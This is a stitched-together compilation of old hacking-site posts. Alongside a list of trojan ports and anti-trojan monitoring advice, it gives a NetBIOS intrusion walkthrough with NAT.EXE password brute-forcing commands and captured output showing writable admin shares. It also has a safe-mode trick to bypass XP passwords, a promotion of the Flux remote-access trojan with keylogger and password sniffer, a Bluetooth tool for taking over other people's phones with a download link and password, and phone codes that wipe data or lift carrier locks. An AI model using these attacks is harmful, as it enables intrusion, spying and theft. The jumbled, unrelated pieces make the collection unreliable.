Tiny Telnet Server
34324

Kuang
30999

Senna Spy Trojans
11000

WhackJob
23456

Phase0
555

BladeRunner
5400

IcqTrojan
4950

InIkiller
9989

PortalOfDoom
9872

ProgenicTrojan
11223

Prosiak 0.47
22222

RemoteWindowsShutdown
53001

RoboHack
5569

Silencer
1001

Striker
2565

TheSpy
40412

TrojanCow
2001

UglyFtp
23456

WebEx
1001

Backdoor
1999

Phineas
2801

Psyber Streaming Server
1509

Indoctrination
6939

Hackers Paradise
456

Doly Trojan
1011

FTP99CMP
1492

Shiva Burka
1600

Remote Windows Shutdown
53001

BigGluck,
34324

NetSpy DK
31339

Hack?99 KeyLogger
12223

iNi-Killer
9989

ICQKiller
7789

Portal of Doom
9875

Firehotcker
5321

Master Paradise
40423

BO jammerkillahV
121

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13.How Can I Monitor My Computer Without Scanner?

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Again the masses think that when they have some

trojan scanner or anti-virus one they're secure.

Well the best way you can check for trojans is to do

it by your own.You're not sure is the trojan scanner

working correctly so start checking it alone.

In this text I've included one list of software and

reviews of course that will help you check your system

for trojans.

Well you always need to check which ports are opened on

your system and if you see that one of the common trojan

ports is open you're probably infected.

*NOTE*

You can check that by typing "netstat"

in the MS-DOS prompt or use other software

that can do this for you

*NOTE*

Always pay attention to which files are running on your

computer and check for something suspicious in it like

it's name.Well I think you'll check files like

config.EXE,himem.exe or winlilo.exe or other funny one.

Just Hex Edit them and if you find something interesting

like "SchoolBus Server" kill the running file.

Make sure you're monitoring your registry and check

every new change in it.Also be sure you monitor

system.ini or win.ini because there're still

trojans that restart from there.

And as I told you always download software like

ICQ,MIRC or some other well known program from

the official page.

Following these simple rules will help you

prevent your computer from getting infected.

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14.Software To Help You Monitor Your Computer

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As I told you I've included one list of software

that will help you monitor your computer and help

you prevent trojan infections.

+++++++++++++++

----LogMonitor+

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Files and directories monitoring tool

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Version: 1.3.4

Home page: http://www.geocities.com/koenigvad/Eng/

Author: Vadim Dumbravanu, koenigvad@yahoo.com

Log Monitor is a files and directories monitoring tool. The program

periodically checks selected file's modification time and executes

external program if file's time was changed or not changed. For

directories it handles such events as files change, addition or

removal.

Works under Windows 95/98/NT.

It's free for personal and business use. See LICENSE.TXT for

copyright information.

This file contains following topics:

1. Purpose

2. Usage

3. Some features

4. Installation

5. Uninstallation

1. PURPOSE

The program is intended for different administrators using

automated processes. From time to time these processes stop working

or can even terminate abnormally. Sometimes processes create or

update error log-files. Log Monitor can watch over such processes

via their log-files and warn administrators about problems.

Users can watch over common network folders and see what happens

within their directories.

2. USAGE

Most of automated processes track log-files, periodically updating

them. Accordingly, if such process will terminate abnormally,

log-files cease changing.

If the process did not update the log-file during selected

interval, Log Monitor runs an external program. It can be "net send

bla bla bla", or paging program, or process restart. Log Monitor

can run a program if the file was changed too, so you can check

error files for changes.

Log Monitor can also watch over directories and handle files

change, addition or removal events within directory tree.

Log Monitor can be used as a task scheduler. NT Scheduler Service

is uncomfortable if you need to run a task every hour for example.

Using Log Monitor you can add nonexisting file, then select

interval of 3600 seconds and the program. As long as the file does

not update, selected program will run every hour.

You can specify working time and days when program will be

launched.

3. SOME FEATURES

- Several files or directories can be monitored simultaneously,

each file has its own interval and is processing in a separate

thread.

- A list of monitoring processes stores in the configuration file.

- Minimizes to the System Tray (and restores from it). ;)

- There is an ability to pause monitoring of selected files.

"Paused" state can be stored in the configuration file.

- Works on the schedule, can check files and directories only during selected time interval and days of week or month.

- Many other really beautiful things.

++++++++++++

----PrcView+

++++++++++++

PrcView is a freeware process viewer utility that shows comprehensive

information about running processes. This information includes such

details as the creation time, version and full path for each DLL used

by a selected process, a list of all threads, memory blocks and heaps.

PrcVIew also allows you to kill and attach a debugger to a selected process.

PrcView runs on both Windows 95/98 and Windows NT platforms and includes

Windows and command-line version of the program.

This software is free and freely distributable on a non-commercial basis in the format

ORIGINALLY RELEASED (PrcView.zip) with the original Copyright clause.

The author expressly disclaims any warranty for this software. This software and

any related documentation is provided "as is" without warranty of any kind.

Distribution of the program or any work based on the program by a commercial

organization to any third party is permitted only with the written permission of the author

If you encounter a problem while running PrcView, please visit

http://www.teamcti.com to obtain the latest version. If you still have problems,

please send a short description to: IgorNys@writeme.com

----XNetStat

XNetStat is a program like the "netstat"

command in the MS-DOS promt.The programs

shows you all of the open ports of your computer

and all of the established connections.

Mail fresh@arez.com if you want it

or have questions about it.

++++++++++++

----AtGuard+

++++++++++++

AtGuard is a nice firewall with some cool

features.It can also show you which file

opened a connection from your computer

that is VERY useful if you want to detect

some trojans on your machine.

I currently lost the URL for that program

but try searching altavista.com

or packetstorm.securify.com

+++++++++++++++++++++++++

-----ConSeal PC FIREWALL+

+++++++++++++++++++++++++

This software will help you to secure your PC.

It has some major advantages over other PC-based firewalls.

It is available on Windows 95, Windows 98 and Windows NT

(3.51 & 4.0).

This is probably the best firewall for Windows machines

that will help you block trojans ports on your machine

and also against various D.O.S attacks.

+++++++++++++++++

----LockDown2000+

+++++++++++++++++

This is really good anti-trojan package that detects

a LOT of trojans and other tools and also acts as a firewall,

protect you against nuke and ICQ attacks.It also

block file sharing so you won't have problems with it.

It's updated regulary with many new trojan definitions.

A must have for those of you that want to be protected

against attacks and trojan infections.

You can get it at http://www.lockdown2000.com

++++++++++

----TDS-2+

++++++++++

Trojan Defence Suite is also one very good

anti trojan package with a lot of functions and

plugins in it.It also detects probably all of

the trojans out there and is regulary updated.

A must have for those of you that want to be protected

against attacks and trojan infections.

You can get it at http://www.tds.diamondcs.com.au

Using all of these tools of course with the anti-trojan

packages will result in one SECURE against trojans

Windows machine so go and get them.

15.Placing BackDoors In Programs

/=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-/

The people that infect with trojans are becoming smarter.

They started placing the trojans in some real programs that

everyone is using so they can infect the victim.

Most of the people know that when they run a trojan

nothing will happen or an error message will apear,but

when the trojan is "joined" with another program

the program will work normally without any error messages

and the victim will think that he/she is not infected.

That's not right.Programmers made such programs that

just "join" two or more executables in one so they

can place the trojan in some programs that everyone

know about.

Such well known programs with open source are

also very dangerous.Good programmer may modify

the source and make it like a trojan so let's

say you're using modified e-mail client.As well

all know the password sending trojans use port 25

to send the e-mail with the information.How about

if the attacker modified the e-mail client to send

your e-mail password to him/her.You'll of course

see(if you're monitoring)that port 25 is open but

probably you won't pay attention because you're sending

e-mails and that's why the port is open.

As I said people are becoming smarter and smarter.

NetBIOS Hacking in Windows :: Hacking Tips :: How to Hack a PC

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NetBIOS Hacking

This is for an Educational purpose only

All viewers please keep in mind one thing that all this information her is given for informational purpose so please dnt misuse of your knowledge

NetBIOS Attack MethodsThis NetBIOS attack technique was verified on Windows 95, NT 4.0 Workstation, NT 4.0 Server, NT 5.0 beta 1 Workstation, NT 5.0 beta 1 Server, Windows 98 beta 2.1. One of the components being used is NAT.EXEA discussion of the tool, it switches, and common techniques follows:

NAT.EXE [-o filename] [-u userlist] [-p passlist]

Switches:

-o Specify the output file. All results from the scan

will be written to the specified file, in addition

to standard output.

-u Specify the file to read usernames from. Usernames

will be read from the specified file when attempt-

ing to guess the password on the remote server.

Usernames should appear one per line in the specified file.

-p Specify the file to read passwords from. Passwords

will be read from the specified file when attempting to guess the password on the remote server.

Passwords should appear one per line in the specified file.

Addresses should be specified in comma deliminated

format, with no spaces. Valid address specifications include:

hostname - "hostname" is added

127.0.0.1-127.0.0.3, adds addresses 127.0.0.1

through 127.0.0.3

127.0.0.1-3, adds addresses 127.0.0.1 through

127.0.0.3

127.0.0.1-3,7,10-20, adds addresses 127.0.0.1

through 127.0.0.3, 127.0.0.7, 127.0.0.10 through

127.0.0.20.

hostname,127.0.0.1-3, adds "hostname" and 127.0.0.1

through 127.0.0.1

All combinations of hostnames and address ranges as

specified above are valid.

[8.0.1] Comparing NAT.EXE to Microsoft's own executables

[8.0.2] First, a look at NBTSTAT

First we look at the NBTSTAT command. This command was discussed in earlier portions of the book ( [5.0.6] The Nbtstat Command ). In this section, you will see a demonstration of how this tool is used and how it compares to other Microsoft tools and non Microsoft tools.

What follows is pretty much a step by step guide to using NBTSTAT as well as extra information. Again, if youre interested in more NBSTAT switches and functions, view the [5.0.6] The Nbtstat Command portion of the book.

C:\nbtstat -A XXX.XX.XXX.XX

NetBIOS Remote Machine Name Table

Name Type Status

---------------------------------------------

STUDENT1 <20> UNIQUE Registered

STUDENT1 <00> UNIQUE Registered

DOMAIN1 <00> GROUP Registered

DOMAIN1 <1C> GROUP Registered

DOMAIN1 <1B> UNIQUE Registered

STUDENT1 <03> UNIQUE Registered

DOMAIN1 <1E> GROUP Registered

DOMAIN1 <1D> UNIQUE Registered

..__MSBROWSE__.<01> GROUP Registered

MAC Address = 00-C0-4F-C4-8C-9D

Here is a partial NetBIOS 16th bit listing:

Computername <00> UNIQUE workstation service name

<00> GROUP domain name

Server <20> UNIQUE Server Service name

Computername <03> UNIQUE Registered by the messenger service. This is the computername

to be added to the LMHOSTS file which is not necessary to use

NAT.EXE but is necessary if you would like to view the remote

computer in Network Neighborhood.

Username <03> Registered by the messenger service.

Domainname <1B> Registers the local computer as the master browser for the domain

Domainname <1C> Registers the computer as a domain controller for the domain

(PDC or BDC)

Domainname <1D> Registers the local client as the local segments master browser

for the domain

Domainname <1E> Registers as a Group NetBIOS Name

Network Monitor Name

Network Monitor Agent

<06> RAS Server

<1F> Net DDE

<21> RAS Client

[8.0.3] Intro to the NET commands

The NET command is a command that admins can execute through a dos window to show information about servers, networks, shares, and connections. It also has a number of command options that you can use to add user accounts and groups, change domain settings, and configure shares. In this section, you will learn about these NET commands, and you will also have the outline to a NET command Batch file that can be used as a primitive network security analysis tool. Before we continue on with the techniques, a discussion of the available options will come first:

[8.0.4] Net Accounts: This command shows current settings for password, logon limitations, and domain information. It also contains options for updating the User accounts database and modifying password and logon requirements.

[8.0.5] Net Computer: This adds or deletes computers from a domains database.

[8.0.6] Net Config Server or Net Config Workstation: Displays config info about the server service. When used without specifying Server or Workstation, the command displays a list of configurable services.

[8.0.7] Net Continue: Reactivates an NT service that was suspended by a NET PAUSE command.

[8.0.8] Net File: This command lists the open files on a server and has options for closing shared files and removing file locks.

[8.0.9] Net Group: This displays information about group names and has options you can use to add or modify global groups on servers.

[8.1.0] Net Help: Help with these commands

[8.1.1] Net Helpmsg message#: Get help with a particular net error or function message.

[8.1.2] Net Localgroup: Use this to list local groups on servers. You can also modify those groups.

[8.1.3] Net Name: This command shows the names of computers and users to which messages are sent on the computer.

[8.1.4] Net Pause: Use this command to suspend a certain NT service.

[8.1.5] Net Print: Displays print jobs and shared queues.

[8.1.6] Net Send: Use this command to send messages to other users, computers, or messaging names on the network.

[8.1.7] Net Session: Shows information about current sessions. Also has commands for disconnecting certain sessions.

[8.1.8] Net Share: Use this command to list information about all resources being shared on a computer. This command is also used to create network shares.

[8.1.9] Net Statistics Server or Workstation: Shows the statistics log.

[8.2.0] Net Stop: Stops NT services, cancelling any connections the service is using. Let it be known that stopping one service, may stop other services.

[8.2.1] Net Time: This command is used to display or set the time for a computer or domain.

[8.2.2] Net Use: This displays a list of connected computers and has options for connecting to and disconnecting from shared resources.

[8.2.3] Net User: This command will display a list of user accounts for the computer, and has options for creating a modifying those accounts.

[8.2.4] Net View: This command displays a list of resources being shared on a computer. Including netware servers.

[8.2.5] Special note on DOS and older Windows Machines: The commands listed above are available to Windows NT Servers and Workstation, DOS and older Windows clients have these NET commands available:

Net Config

Net Diag (runs the diagnostic program)

Net Help

Net Init (loads protocol and network adapter drivers.)

Net Logoff

Net Logon

Net Password (changes password)

Net Print

Net Start

Net Stop

Net Time

Net Use

Net Ver (displays the type and version of the network redirector)

Net View

For this section, the command being used is the NET VIEW and NET USE commands.

[8.2.6] Actual NET VIEW and NET USE Screen Captures during a hack.

C:\net view XXX.XX.XXX.XX

Shared resources at XXX.XX.XXX.XX

Share name Type Used as Comment

------------------------------------------------------------------------------

NETLOGON Disk Logon server share

Test Disk

The command completed successfully.

NOTE: The C$ ADMIN$ and IPC$ are hidden and are not shown.

C:\net use /?

The syntax of this command is:

NET USE [devicename
*] [\\computername\sharename[\volume] [password
*]]

[/USER:[domainname\]username]

[[/DELETE]
[/PERSISTENT:{YES
NO}]]

NET USE [devicename
*] [password
*]] [/HOME]

NET USE [/PERSISTENT:{YES
NO}]

C:\net use x: \\XXX.XX.XXX.XX\test

The command completed successfully.

C:\unzipped\nat10bin>net use

New connections will be remembered.

Status Local Remote Network

-------------------------------------------------------------------------------

OK X: \\XXX.XX.XXX.XX\test Microsoft Windows Network

OK \\XXX.XX.XXX.XX\test Microsoft Windows Network

The command completed successfully.

Here is an actual example of how the NAT.EXE program is used. The information listed here is an actual capture of the activity. The IP addresses have been changed to protect, well, us.

C:\nat -o output.txt -u userlist.txt -p passlist.txt XXX.XX.XX.XX-YYY.YY.YYY.YY

[*]--- Reading usernames from userlist.txt

[*]--- Reading passwords from passlist.txt

[*]--- Checking host: XXX.XX.XXX.XX

[*]--- Obtaining list of remote NetBIOS names

[*]--- Attempting to connect with name: *

[*]--- Unable to connect

[*]--- Attempting to connect with name: *SMBSERVER

[*]--- CONNECTED with name: *SMBSERVER

[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03

[*]--- Server time is Mon Dec 01 07:44:34 1997

[*]--- Timezone is UTC-6.0

[*]--- Remote server wants us to encrypt, telling it not to

[*]--- Attempting to connect with name: *SMBSERVER

[*]--- CONNECTED with name: *SMBSERVER

[*]--- Attempting to establish session

[*]--- Was not able to establish session with no password

[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `password'

[*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `password'

[*]--- Obtained server information:

Server=[STUDENT1] User=[] Workgroup=[DOMAIN1] Domain=[]

[*]--- Obtained listing of shares:

Sharename Type Comment

--------- ---- -------

ADMIN$ Disk: Remote Admin

C$ Disk: Default share

IPC$ IPC: Remote IPC

NETLOGON Disk: Logon server share

Test Disk:

[*]--- This machine has a browse list:

Server Comment

--------- -------

STUDENT1

[*]--- Attempting to access share: \\*SMBSERVER\

[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$

[*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$

[*]--- Checking write access in: \\*SMBSERVER\ADMIN$

[*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$

[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$

[*]--- Attempting to access share: \\*SMBSERVER\C$

[*]--- WARNING: Able to access share: \\*SMBSERVER\C$

[*]--- Checking write access in: \\*SMBSERVER\C$

[*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$

[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$

[*]--- Attempting to access share: \\*SMBSERVER\NETLOGON

[*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON

[*]--- Checking write access in: \\*SMBSERVER\NETLOGON

[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON

[*]--- Attempting to access share: \\*SMBSERVER\Test

[*]--- WARNING: Able to access share: \\*SMBSERVER\Test

[*]--- Checking write access in: \\*SMBSERVER\Test

[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Test

[*]--- Attempting to access share: \\*SMBSERVER\D$

[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ROOT

[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\WINNT$

[*]--- Unable to access

If the default share of Everyone/Full Control is active, then you are done, the server is hacked. If not, keep playing. You will be surprised what you find out.

Testing Windows Ports :: How to Test a Port

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The below debug routine will check the ports of the computer to allow you to know if ports are being detected or not. Type debug to get to the "-" Type D40:0

You should get several lines; however, the first line is the only important line, which should read the following:

0040:0000 F8 03 F8 02 E8 03 E8 02 - 78 03 78 02 BC 03

F8 03

F8 02

E8 03

E8 02

78 03

78 02

BC 03

COM1

COM2

COM3

COM4

LPT1

LPT2

LPT3

The above graph shows you what the feed back means as far as port, so if you see F8 03, this would be an indication that COM1 is being detected; if you see 00 00, this is an indication that it is not being detected, which could mean that hardware is bad or that it is disabled inCMOS

Once you have finished looking at the information, type Q and press enter to get out of Debug.

How to Enter Debug Mod :: DOS & Windows

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Debug has been included in every version of MS-DOS as well as Windows. When running any of the debug routines it is recommended that if you have Windows that you exit or shut down to get into a real DOS prompt (unless you're running Windows ME, Windows 2000, Windows XP, or later versions).

Once at the MS- DOS prompt, run through the below example, this example is perfectly fine to run on any PC Computer running MS-DOS / Windows and will not harm anything.

Type debug and press enter.

This should get you to a - (small dash). This is the debug prompt.

At the - type d40:00 and press enter; this will return several lines of information.

After the feedback you will be back to the debug prompt.

To exit out of debug type q and press enter. This will return you back to the MS-DOS prompt.

In some of the below debug routines you will notice that a "g" is typed, then "q". G tells the computer that the code type is not self executing and must be run at this point. If completed, the program will return Program Terminated Normally which indicates you can now quit from the debug program.

Hack XP User Password Using DOS

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Hack....................................

Boot anyone's xp computer who has a limited account active (i.e. guest) When you boot, boot to safe mode w/ dos prompt. (push F8 during startup) Type

C:\cd windows\system 32

(for a nice matrix touch, I would also type this)

color 0a

While still in system32 type:

command userpasswords2

Then unselect the box that says "this computer requires a password etc."

Reboot!

Congrats- You just hacked XP

Flux Hacking Kit v1.0

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This is the first release of a remote administration tool named Flux.

This application allows you to administer a remote computer, capable of bypassing a router or

protected by a firewall.

Features:

- FWBP+ (can inject to default browser, msn messenger or up to three specified applications)

- Persistent server (server is hard to remove, it will be rerun when closed,

rewritten when deleted, readded to registry when removed)

- Startup method: Registry run + ActiveX + Flux-special.

- Installs to windows or system directory.

- Up to three specified ports in client can listen for connections.

- Up to three specified IPs can be used for connection

- Up to three specified URLs can be used to connection on

- File manager (uses caches to speed up browsing, supports download resuming)

- Screen capture, uses either jpeg-compression or diff. calculation

to stream users desktop (both included in basic server)

- Cam capture (opt. to save caps)

- Keylogger (opt. to log in background)

- Passwordsniffer (logs all text entered into password/***-boxes)

- Find files

- Task list (can capture a certain window or control)

- Process list

- SOCKS4

- Show message box

- Execution file from URL

- Connection is encrypted with a 1024-bit key

Download

Add-on

Automate The Installation Of Windows XP

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You can create a CD that can install Windows XP automatically, putting in all the details and answering all the dialog boxes.

The secret behind this is the answer file, which tells Windows what to do while it's installing. The answer file can be created using Windows setup manager.

Using this tool, you can make the answer file so powerful that you can even tell Windows to include or exclude individual components, set the display resolution, and more.

Here's the Steps involved in creating XP Automated Installation Disc :

Step 1: To begin with, insert your Windows XP installation CD into the drive and copy the entire contents of the CD to a new folder on your hard disk.

Step 2: Navigate to the Support > Tools folder on the CD and double-click the Deploy.cab file. Copy all the files to a new folder on your hard disk.

Step 3: The crucial part begins now, creating the answer file. To execute the windows setup manager, double click the Setupmgr.exe file from the contents of the Deploy.cab, which you just copied onto the hard drive.

Step 4: The first few steps of the wizard are self explanatory. Select the following options from the successive dialog boxes. Create a new answer file; Windows unattended installation (Select the appropriate Windows version); "Fully automated"; "No this answer file will be used to install from CD"; and finally, accept the license agreement.

Step 5: Under the General Settings, you can customize the installation of Windows by providing the default name and organization, display settings, time zone and the product key. Fill in the fields using the drop-down list or by keying in the details. If you don't select an option from the drop-down list, the default values will be used.

Step 6: After you are done click Finish and save the answer file as "winnt.sif" when you are prompted. Advanced users can further tweak the answer file by referring to the Help file called Ref.chm in the same folder.

Step 7: Finally copy the answer file to i386 folder in the Windows XP installation folder you created in the beginning.

Step 8: To burn a bootable installation disc, you need the boot sector of the Windows XP CD. Download it from here bootfiles.zip

Step 9: Launch Nero and select CD-ROM (Boot) from the New Compilation dialog box. Under the Boot tab, specify the boot sector file you downloaded and extracted. Set the emulation as "No emulation", and keep the boot message blank. Most importantly, remember to set the "Number of loaded sectors" as 4.

Step 10: Under the Burn tab, set the write method to disc at-once. Click the New button to to begin adding files and folders to the compilation. Drag all the contents of the Windows XP installation disc that you copied to your hard drive (with the answer file in the i386 folder) into the left pane. Insert a blank CD into the optical drive and hit burn button. Your windows automated installation Disc is ready!

Enable Right Click on any Website

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Lots of web sites have disabled the right click function of the mouse button... it's really, really annoying. This is done so that you don't steal (via right-click->save picture) their photos or images or any other goodies. Unfortunately, it disables ALL right-click functionality: copy, paste, open in new window.

It's easy to change, assuming your using IE 6:

Click "Tools"->"Internet Options"

Click the "Security" tab

Click "Custom Level"

Scroll down to the "Scripting" section

Set "Active Scripting" to "disable"

Click "Ok" a couple of times.

You'll probably want to turn this back to "enable" when your done... 'cause generally the javascript enhances a website.

Remote S60 Professional - Operate your Phone from Your Desktop PC

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NEW: Now also running on Nokia N70, 668x, 6630, 6670, 3230, 6260 and 7610

NEW: Connect via USB with the DKU-2 cable (compatible phones only)

NEW: High performance screen algorithm using pure ARM/Thumb assembler and new compression scheme

Remote S60 Professional - Operate your phone from your desktop PC

Remote S60 Professional by mobileways.de lets you operate your Series 60 phone from your Windows computer. You can access and control all applications on your phone by using your PC's keyboard while watching the screen of your phone in a virtual window in real time.

The Perfect Tool for Presentations, Tutorials or Device and Application Testing

With Remote S60 Professional, you can conveniently demo any applications or services on your phone in realtime. Remote S60 Professional displays your phone's screen in a virtual window on your PC. You can either use a wireless bluetooth connection for best mobility during your presentation or a USB cable (DKU-2) for best realtime performance.

Remote S60 Professional supports skins for different mobile phone models, offers a customizable (HTML) fullscreen mode and allows you to record AVI movies.

For device and service testing, just let your automated testing tool control the Remote S60 Professional Windows application. You can connect multiple devices to one PC by using multiple instances of Remote S60 Professional.

Manage your Everyday Tasks

Remote S60 Professional helps you compose SMS, enter contacts, add WAP/WEB URLs, create and change calender entries or manage your phone's settings with ease.

Features of Remote S60 Professional:

* Connect your phone with the USB cable DKU-2 (compatible Series 60 v2 phones only!) or by Bluetooth Serial Port

* For (old) Series 60 v1 phones: conveniently connect via the PC Suite / mRouter (Nokia 6600, 3650, N-Gage, Siemens SX1, Sendo X, Panasonic X700/X800)

* Support for multiple skins (showing different mobile phone models)

* Customizable (HTML) fullscreen mode (with zoom feature)

* 3 different zoom levels (2x, 3x and 4x)

* Use your keyboard to control your phone in realtime

* Make screenshots, copy them to the clipboard or save them to your PC

* Create AVI movies while navigating on your phone

* Profiles for quickly switching between different performance settings

* Advanced options for balancing performance vs. power consumption:

Reduced color modes, different compression levels, application priority, sampling frequency

* Multiple devices connected to the same PC by using multiple instances of Remote S60 Professional

You need to install two softwares for that..

Download:

1st Software(Remote S60 Professional)

2nd Software(Softcam)

Hack Any Phone with Bluetooth

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Once connected to a another phone via bluetooth you can:

- read his messages

- read his contacts

- change profile

- play his ringtone even if phone is on silent

- play his songs(in his phone)

- restart the phone

- switch off the phone

- restore factory settings

- change ringing volume

- And here comes the best

Call from his phone" it includes all call functions like hold etc.

Notes:

1.) When connecting devices use a code 0000

2.) At start of programm on smartphones do not forget to turn on bluetooth before start of the application

RS.COM mirror

http://rapidshare.com/files/35224316/Bluetooth.rar

Password:

gOzz

SAMSUNG SECRET CODES (NEW)

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LAtest

*#1111# S/W Version

*#1234# Firmware Version

*#2222# H/W Version

*#8999*8376263# All Versions Together

*#8999*8378# Test Menu

*#4777*8665# GPSR Tool

*#8999*523# LCD Brightness

*#8999*377# Error Menu

*#8999*327# EEP Menu

*#8999*3825523# Don't Know.

*#8999*667# Debug Mode

*#92782# PhoneModel (Wap)

#*5737425# JAVA Mode

*#2255# Call List

*#232337# Bluetooth MAC Adress

*#5282837# Java Version

#*4773# Incremental Redundancy

#*7752# 8 PSK uplink capability bit

#*7785# Reset wakeup & RTK timer cariables/variables

#*1200# ????

#*7200# Tone Generator Mute

#*3888# BLUETOOTH Test mode

#*#8999*324# ??

#*7828# Task screen

#*5111# ??

#*#8377466# S/W Version & H/W Version

#*2562# Restarts Phone

#*2565# No Blocking? General Defense.

#*3353# General Defense, Code Erased.

#*3837# Phone Hangs on White screen

#*3849# Restarts Phone

#*3851# Restarts Phone

#*3876# Restarts Phone

#*7222# Operation Typ: (Class C GSM)

#*7224# !!! ERROR !!!

#*7252# Operation Typ: (Class B GPRS)

#*7271# CMD: (Not Available)

#*7274# CMD: (Not Available)

#*7337# Restarts Phone (Resets Wap Settings)

#*2787# CRTP ON/OFF

#*2886# AutoAnswer ON/OFF

#*3737# L1 AFC

#*5133# L1 HO Data

#*7288# GPRS Detached/Attached

#*7287# GPRS Attached

#*7666# White Screen

#*7693# Sleep Deactivate/Activate

#*7284# L1 HO Data

#*2256# Calibration info? (For CMD set DEBUGAUTONOMY in cihard.opt)

#*2286# Databattery

#*2527# GPRS switching set to (Class 4, 8, 9, 10)

#*2679# Copycat feature Activa/Deactivate

#*3940# External looptest 9600 bps

#*4263# Handsfree mode Activate/Deactivate

#*4700# Please use function 2637

#*7352# BVMC Reg value (LOW_SWTOFF, NOMINAL_SWTOFF)

#*2558# Time ON

#*3370# Same as 4700

#*3941# External looptest 115200 bps

#*5176# L1 Sleep

#*7462# SIM Phase

#*7983# Voltage/Freq

#*7986# Voltage

#*8466# Old Time

#*2255# Call Failed

#*5187# L1C2G trace Activate/Deactivate

#*5376# DELETE ALL SMS!!!!

#*6837# Official Software Version: (0003000016000702)

#*7524# KCGPRS: (FF FF FF FF FF FF FF FF 07)

#*7562# LOCI GPRS: (FF FF FF FF FF FF FF FF FF FF FF FE FF 01)

#*2337# Permanent Registration Beep

#*2474# Charging Duration

#*2834# Audio Path (Handsfree)

#*3270# DCS Support Activate/Deactivate

#*3282# Data Activate/Deactivate

#*3476# EGSM Activate/Deactivate

#*3676# FORMAT FLASH VOLUME!!!

#*4760# GSM Activate/Deactivate

#*4864# White Screen

#*5171# L1P1

#*5172# L1P2

#*5173# L1P3

#*7326# Accessory

#*7683# Sleep variable

#*8465# Time in L1

#*2252# Current CAL

#*2836# AVDDSS Management Activate/Deactivate

#*3877# Dump of SPY trace

#*7728# RSAV

#*2677# Same as 4700

#*3797# Blinks 3D030300 in RED

#*3728# Time 2 Decod

#*3725# B4 last off

#*7372# Resetting the time to DPB variables

#*7732# Packet flow context bit Activate/Deactivate

#*6833# New uplink establishment Activate/Deactivate

#*3273# EGPRS multislot (Class 4, 8, 9, 10)

#*7722# RLC bitmap compression Activate/Deactivate

#*2351# Blinks 1347E201 in RED

#*4472# Hysteresis of serving cell: 3 dB

#*2775# Switch to 2 inner speaker

#*9270# Force WBS

#*7878# FirstStartup (0=NO, 1=YES)

#*3757# DSL UART speed set to (LOW, HIGH)

#*8726# Switches USBACM to Normal

#*8724# Switches USBACM to Generator mode

#*8727# Switches USBACM to Slink mode

#*8725# Switches USBACM to Loop-back mode

#*3838# Blinks 3D030300 in RED

#*2077# GPRS Switch

#*2027# GPRS Switch

#*0227# GPRS Switch

#*0277# GPRS Switch

#*22671# AMR REC START

#*22672# Stop AMR REC (File name: /a/multimedia/sounds/voice list/ENGMODE.amr)

#*22673# Pause REC

#*22674# Resume REC

#*22675# AMR Playback

#*22676# AMR Stop Play

#*22677# Pause Play

#*22678# Resume Play

#*77261# PCM Rec Req

#*77262# Stop PCM Rec

#*77263# PCM Playback

#*77264# PCM Stop Play

#*2872# CNT

*#8999*283# ???

#*22679# AMR Get Time

*288666# ???

*2886633# ???

*#8999*364# Watchdog ON/OFF

#*8370# Tfs4.0 Test 0

#*8371# Tfs4.0 Test 1

#*8372# Tfs4.0 Test 2

#*8373# Tfs4.0 Test 3

#*8374# Tfs4.0 Test 4

#*8375# Tfs4.0 Test 5

#*8376# Tfs4.0 Test 6

#*8377# Tfs4.0 Test 7

#*8378# Tfs4.0 Test 8

#*8379# Tfs4.0 Test 9

#837837# error=...

#*36245# Turns Email TestMenu on.

*2767*22236245# Email EPP set (....)!

*2767*837836245# Email Test Account!

*2767*29536245# Email Test2 Account!

*2767*036245# Email EPP reset!

*2767*136245# Email EPP set (1)!

*2767*736245# Email EPP set (7)!

*2767*3036245# Email...

*2767*3136245# Email...

*2767*3336245# Email...

*2767*3436245# Email...

*2767*3936245# Email...

*2767*4136245# Email...

*2767*4336245# Email...

*2767*4436245# Email...

*2767*4536245# Email...

*2767*4636245# Email...

*2767*4936245# Email...

*2767*6036245# Email...

*2767*6136245# Email...

*2767*6236245# Email...

*2767*6336245# Email...

*2767*6536245# Email...

*2767*6636245# Email...

*2767*8636245# Email...

*2767*85236245# Email...

*2767*3855# = E2P Full Reset

*2767*2878# = E2P Custom Reset

*2767*927# = E2P Wap Reset

*2767*226372# = E2P Camera Reset

*2767*688# Reset Mobile TV

#7263867# = RAM Dump (On or Off)

*2767*49927# = Germany WAP Settings

*2767*44927# = UK WAP Settings

*2767*31927# = Netherlands WAP Settings

*2767*420927# = Czech WAP Settings

*2767*43927# = Austria WAP Settings

*2767*39927# = Italy WAP Settings

*2767*33927# = France WAP Settings

*2767*351927# = Portugal WAP Settings

*2767*34927# = Spain WAP Settings

*2767*46927# = Sweden WAP Settings

*2767*380927# = Ukraine WAP Settings

*2767*7927# = Russia WAP Settings

*2767*30927# = GREECE WAP Settings

*2767*73738927# = WAP Settings Reset

*2767*49667# = Germany MMS Settings

*2767*44667# = UK MMS Settings

*2767*31667# = Netherlands MMS Settings

*2767*420667# = Czech MMS Settings

*2767*43667# = Austria MMS Settings

*2767*39667# = Italy MMS Settings

*2767*33667# = France MMS Settings

*2767*351667# = Portugal MMS Settings

*2767*34667# = Spain MMS Settings

*2767*46667# = Sweden MMS Settings

*2767*380667# = Ukraine MMS Settings

*2767*7667#. = Russia MMS Settings

*2767*30667# = GREECE MMS Settings

*#7465625# = Check the locks

*7465625*638*Code# = Enables Network lock

#7465625*638*Code# = Disables Network lock

*7465625*782*Code# = Enables Subset lock

#7465625*782*Code# = Disables Subset lock

*7465625*77*Code# = Enables SP lock

#7465625*77*Code# = Disables SP lock

*7465625*27*Code# = Enables CP lock

#7465625*27*Code# = Disables CP lock

*7465625*746*Code# = Enables SIM lock

#7465625*746*Code# = Disables SIM lock

